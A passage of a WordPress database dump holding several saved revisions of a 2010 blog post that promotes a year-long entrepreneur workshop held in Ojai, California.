area of their life!</span></h2>\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\n\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\n\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-4', '', '', '2010-10-07 16:37:24', '2010-10-07 23:37:24', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-4/', 0, 'revision', '', 0),
(1124, 2, '2010-10-07 16:37:34', '2010-10-07 23:37:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<strong>Entrepreneurs are remarkable people!</strong>\r\nBy every measure, as an entrepreneur, you are a remarkable person. You (and the millions like you) are the real creative force driving our global economy. As role models for self-reliance, innovation and freedom, you are the cutting edge of humanity. Through the venue of your business, you add to the life of the world.  Of course I don’t have to tell you the entrepreneurial journey is not for the faint of heart. Yet for those of us you have chosen this life-path, we could not imagine our life expressed in any other way.\r\n\r\nEntrepreneurs take what is useful from their past experience, innovate new value for people in the present, and have highly developed habits to see opportunity in the future others seemingly miss, or are simply unable to take advantage of. Entrepreneurs are naturally inclined to escape from restricted bureaucratic structures and create their own vision for an abundant and fulfilling future.\r\n\r\nYet, even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every area of their life!</span></h2>\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\n\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\n\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-5', '', '', '2010-10-07 16:37:34', '2010-10-07 23:37:34', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-5/', 0, 'revision', '', 0),
(1126, 2, '2010-10-07 16:41:37', '2010-10-07 23:41:37', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nIn March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. I hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n<h2><span style="color: #808080;">The Quantum Leap Workshop is a year-long personal and business development program designed for forward-thinking entrepreneurs who want more ideas, clarity, confidence, and velocity to realize their bold vision for a bigger future–and experience more money, freedom, fulfillment, and joy in every area of their life!</span></h2>\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-7', '', '', '2010-10-07 16:41:37', '2010-10-07 23:41:37', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-7/', 0, 'revision', '', 0),
(1127, 2, '2010-10-07 16:43:59', '2010-10-07 23:43:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-8', '', '', '2010-10-07 16:43:59', '2010-10-07 23:43:59', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-8/', 0, 'revision', '', 0),
(1128, 2, '2010-10-07 16:44:09', '2010-10-07 23:44:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.  If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n\r\n<span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span>\r\n\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-9', '', '', '2010-10-07 16:44:09', '2010-10-07 23:44:09', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-9/', 0, 'revision', '', 0),
(1129, 2, '2010-10-07 16:46:31', '2010-10-07 23:46:31', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Workshop Facilitators</strong>\r\nI’m in the process of confirming an amazing team of leaders (all successful entrepreneurs in their own right), who will share their experience and wisdom and their specific expertise to help you breakthrough! I’ll announce our leadership team when the Workshop website is live.\r\n\r\n<strong>Early Registration</strong>\r\nThe conference site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the Workshop Brochure here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to pre-register, you can send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-10', '', '', '2010-10-07 16:46:31', '2010-10-07 23:46:31', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-10/', 0, 'revision', '', 0);
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(1130, 2, '2010-10-07 16:47:08', '2010-10-07 23:47:08', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  I this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nI want you to bring your most pressing business challenges-the things that have you stuck right now– to this engaging, interactive and supportive learning environment.  Here you’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" 